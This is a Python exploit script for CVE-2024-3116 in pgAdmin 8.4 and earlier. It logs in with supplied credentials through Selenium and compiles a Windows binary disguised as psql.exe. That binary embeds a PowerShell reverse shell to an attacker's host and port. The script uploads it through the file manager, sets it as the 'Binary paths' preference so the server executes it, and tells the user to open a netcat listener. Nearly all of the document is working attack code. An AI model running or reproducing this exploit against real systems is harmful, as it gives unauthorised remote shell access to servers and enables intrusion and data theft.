README.md
Rendering markdown...
import argparse
import os
import subprocess
import socket
import re
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time
def compile_binary(lhost, lport):
source_code = f"""#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {{
if (argc > 1 && strcmp(argv[1], "--version") == 0) {{
system("powershell -nop -c \\\"$client = New-Object System.Net.Sockets.TCPClient('{lhost}', {lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()\\\"");
}} else {{
printf("Usage: %s --version\\n", argv[0]);
}}
return 0;
}}
"""
try:
with open("./poc.c", "w") as file:
file.write(source_code)
print(f"Source code written")
except IOError:
print(f"Error writing source code")
# Command to compile C program for Windows
compile_command = f"x86_64-w64-mingw32-gcc -o psql.exe poc.c"
# Execute the compilation command
try:
subprocess.run(compile_command, shell=True, check=True)
print("Compilation successful.")
except subprocess.CalledProcessError as e:
print(f"Compilation failed: {e}")
def main(email, password, rhost, rport, lhost, lport):
print("Don't forget to launch Burp suite !")
burp = input("Burp is launched ? (yes/no) ")
if burp not in ("y", "yes", "Y", "YES"):
exit()
# Configure Selenium
options = webdriver.ChromeOptions()
options.add_argument("--headless")
options.add_argument(f'--proxy-server=127.0.0.1:8080')
driver = webdriver.Chrome(options=options)
driver.get(f'{rhost}:{rport}/login?next=%2Fbrowser%2F') # Ask the login page
time.sleep(5)
username_field = driver.find_element(By.NAME, "email")
username_field.send_keys(email)
password_field = driver.find_element(By.NAME, "password")
password_field.send_keys(password)
login_button = driver.find_element(By.XPATH, "//button[@type='submit']")
login_button.click()
# uploading
driver.get(f'{rhost}:{rport}/browser/')
## Find and click the "Tools" button
tools_button_locator = '//button[@data-label="Tools"]'
tools_button = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.XPATH, tools_button_locator)))
tools_button.click()
## Click on the "Import/Export Servers..." menu item
import_item_locator = '//li[@data-label="Import/Export Servers..."]'
import_item = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.XPATH, import_item_locator)))
import_item.click()
## The import/export window appear
## click on select a file
file_button_locator = '//button[@aria-label="Select a file"]'
file_button = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.XPATH, file_button_locator)))
file_button.click()
## Click on "options"
options_button_locator = '//button[@data-label="Options"]'
options_button = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.XPATH, options_button_locator)))
options_button.click()
## click on the menu item upload
upload_menu_item_locator = '//li[@data-label="Upload"]'
upload_menu_item = WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.XPATH, upload_menu_item_locator)))
upload_menu_item.click()
# Create the file
compile_binary(lhost, lport)
## upload the file
### Find the file input element
file_input = driver.find_element(By.XPATH, '//input[@type="file"]')
### Execute JavaScript to make the file input element visible
driver.execute_script("arguments[0].style.display = 'block';", file_input)
### Specify the file path you want to upload
file_path = os.path.join(os.getcwd(), "psql.exe")
file_input.send_keys(file_path)
# Try to recover the path
## Wait for the response to be received (adjust the time as needed)
driver.implicitly_wait(10)
# Fail to recover the path so ask it !
path = input("Check the request of the upload file (the POST to /file_manager/filemanager/XXXXXXX/, should be the last one) and give me the path (without the /\\\\.psql.exe) : ")
# Open a listener
print(f"In another terminal launch the command : nc -lvnp {lport}")
listener = input("ready ? (yes/no) ")
while listener not in ("y", "yes", "Y", "YES"):
listener = input("ready ? (yes/no)")
# Trigger the binary file
## Go back to /browser
driver.get(f'{rhost}:{rport}/browser/')
# 1. Click on the "File" button
file_button_locator = '//button[@data-label="File"]'
file_button = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, file_button_locator)))
file_button.click()
# 2. Click on the "Preferences" menu item
preferences_menu_item_locator = '//li[@data-label="Preferences"]'
preferences_menu_item = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, preferences_menu_item_locator)))
preferences_menu_item.click()
# 3. Click on the "Binary paths" file entry
binary_paths_file_entry_locator = '//div[contains(span[@class="file-label"]/span[@class="file-name"], "Binary paths")]'
binary_paths_file_entry = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, binary_paths_file_entry_locator)))
binary_paths_file_entry.click()
# 4. Write the variable "path" into the input field
driver.implicitly_wait(10)
path_input = driver.find_element(By.NAME, "binaryPath")
path_input.send_keys(path)
# 5. Click on the "Validate" button
validate_button_locator = '//button[@data-label="Validate"]'
validate_button = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, validate_button_locator)))
validate_button.click()
print ("Should be done !")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='RCE against pgadmin <=8.4 (CVE-2024-3116). Give a reverse shell')
parser.add_argument('--email', type=str, required=True, help='Email address')
parser.add_argument('--password', type=str, required=True, help='Password')
parser.add_argument('--rhost', type=str, required=True, help='Remote host (URL or IP address)')
parser.add_argument('--rport', type=int, required=True, help='Remote port number')
parser.add_argument('--lhost', type=str, required=True, help='Local host (URL or IP address)')
parser.add_argument('--lport', type=int, required=True, help='Local port number')
args = parser.parse_args()
main(args.email, args.password, args.rhost, args.rport, args.lhost, args.lport)